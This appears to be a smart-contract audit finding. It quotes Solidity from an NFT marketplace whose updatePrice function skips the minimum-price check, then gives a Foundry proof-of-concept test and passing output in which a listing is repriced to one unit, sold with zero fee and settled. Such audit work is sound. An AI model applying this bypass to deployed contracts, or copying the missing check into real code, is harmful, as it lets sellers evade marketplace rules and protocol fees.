uint256 public constant MIN_PRICE = 1e6;
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
require(_price >= MIN_PRICE, "Price must be at least 1 USDC");
require(ownerOf(_tokenId) == msg.sender, "Not owner of NFT");
require(s_listings[_tokenId].isActive == false, "NFT is already listed");
require(_price > 0, "Price must be greater than 0");
...
}
function updatePrice(uint256 _listingId, uint32 _newPrice) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
uint256 oldPrice = listing.price;
if (!listing.isActive) revert ListingNotActive(_listingId);
require(_newPrice > 0, "Price must be greater than 0");
s_listings[_listingId].price = _newPrice;
emit NFT_Dealers_Price_Updated(_listingId, oldPrice, _newPrice);
}
function testUpdatePriceBypassesMinimumPriceRule() public revealed whitelisted {
uint256 tokenId = 1;
uint32 initialValidPrice = 1e6;
uint32 invalidUpdatedPrice = 1;
console2.log("MIN_PRICE:", nftDealers.MIN_PRICE());
console2.log("initialValidPrice:", uint256(initialValidPrice));
console2.log("invalidUpdatedPrice:", uint256(invalidUpdatedPrice));
console2.log("lockAmount:", nftDealers.lockAmount());
mintAndListNFTForTesting(tokenId, initialValidPrice);
(
address sellerBeforeUpdate,
uint32 storedPriceBeforeUpdate,,
uint256 listedTokenIdBeforeUpdate,
bool isActiveBeforeUpdate
) = nftDealers.s_listings(tokenId);
console2.log("Stored seller before update:", sellerBeforeUpdate);
console2.log("Stored price before update:", uint256(storedPriceBeforeUpdate));
console2.log("Stored tokenId before update:", listedTokenIdBeforeUpdate);
console2.log("Listing active before update:", isActiveBeforeUpdate ? uint256(1) : uint256(0));
assertEq(storedPriceBeforeUpdate, initialValidPrice, "sanity: listing starts at valid MIN_PRICE");
assertTrue(isActiveBeforeUpdate, "sanity: listing should be active before update");
vm.prank(userWithCash);
nftDealers.updatePrice(tokenId, invalidUpdatedPrice);
(
address sellerAfterUpdate,
uint32 storedPriceAfterUpdate,,
uint256 listedTokenIdAfterUpdate,
bool isActiveAfterUpdate
) = nftDealers.s_listings(tokenId);
console2.log("Stored seller after update:", sellerAfterUpdate);
console2.log("Stored price after update:", uint256(storedPriceAfterUpdate));
console2.log("Stored tokenId after update:", listedTokenIdAfterUpdate);
console2.log("Listing active after update:", isActiveAfterUpdate ? uint256(1) : uint256(0));
assertEq(storedPriceAfterUpdate, invalidUpdatedPrice, "BUG: updatePrice accepted a price below MIN_PRICE");
assertTrue(
uint256(storedPriceAfterUpdate) < nftDealers.MIN_PRICE(), "BUG: active listing price is below MIN_PRICE"
);
assertTrue(isActiveAfterUpdate, "listing remains active at a forbidden price");
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), invalidUpdatedPrice);
nftDealers.buy(tokenId);
vm.stopPrank();
console2.log("Buyer balance after buy:", usdc.balanceOf(userWithEvenMoreCash));
console2.log("Contract balance after buy:", usdc.balanceOf(address(nftDealers)));
console2.log("Owner of token after buy:", nftDealers.ownerOf(tokenId));
assertEq(nftDealers.ownerOf(tokenId), userWithEvenMoreCash, "sale at sub-minimum price completed successfully");
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(tokenId);
uint256 sellerFinalBalance = usdc.balanceOf(userWithCash);
uint256 contractFinalBalance = usdc.balanceOf(address(nftDealers));
uint256 expectedFee = nftDealers.calculateFees(invalidUpdatedPrice);
uint256 expectedSellerPayout = uint256(invalidUpdatedPrice) + nftDealers.lockAmount() - expectedFee;
console2.log("expectedFee:", expectedFee);
console2.log("expectedSellerPayout:", expectedSellerPayout);
console2.log("sellerFinalBalance:", sellerFinalBalance);
console2.log("contractFinalBalance:", contractFinalBalance);
assertEq(expectedFee, 0, "sanity: dust sale price rounds fee down to zero");
assertEq(
sellerFinalBalance,
expectedSellerPayout,
"BUG: seller settled a sale at a price below the documented minimum"
);
}
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/NFTDealersTest.t.sol:NFTDealersTest
[PASS] testUpdatePriceBypassesMinimumPriceRule() (gas: 479362)
Logs:
MIN_PRICE: 1000000
initialValidPrice: 1000000
invalidUpdatedPrice: 1
lockAmount: 20000000
Stored seller before update: 0x22CdC71E987473D657FCe79C9C0C0B1A62148056
Stored price before update: 1000000
Stored tokenId before update: 1
Listing active before update: 1
Stored seller after update: 0x22CdC71E987473D657FCe79C9C0C0B1A62148056
Stored price after update: 1
Stored tokenId after update: 1
Listing active after update: 1
Buyer balance after buy: 199999999999
Contract balance after buy: 20000001
Owner of token after buy: 0x533575789af8F38A73C7747E36C17C1835FDF44a
expectedFee: 0
expectedSellerPayout: 20000001
sellerFinalBalance: 20000001
contractFinalBalance: 0
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (2.04ms CPU time)
Ran 1 test suite in 15.51ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)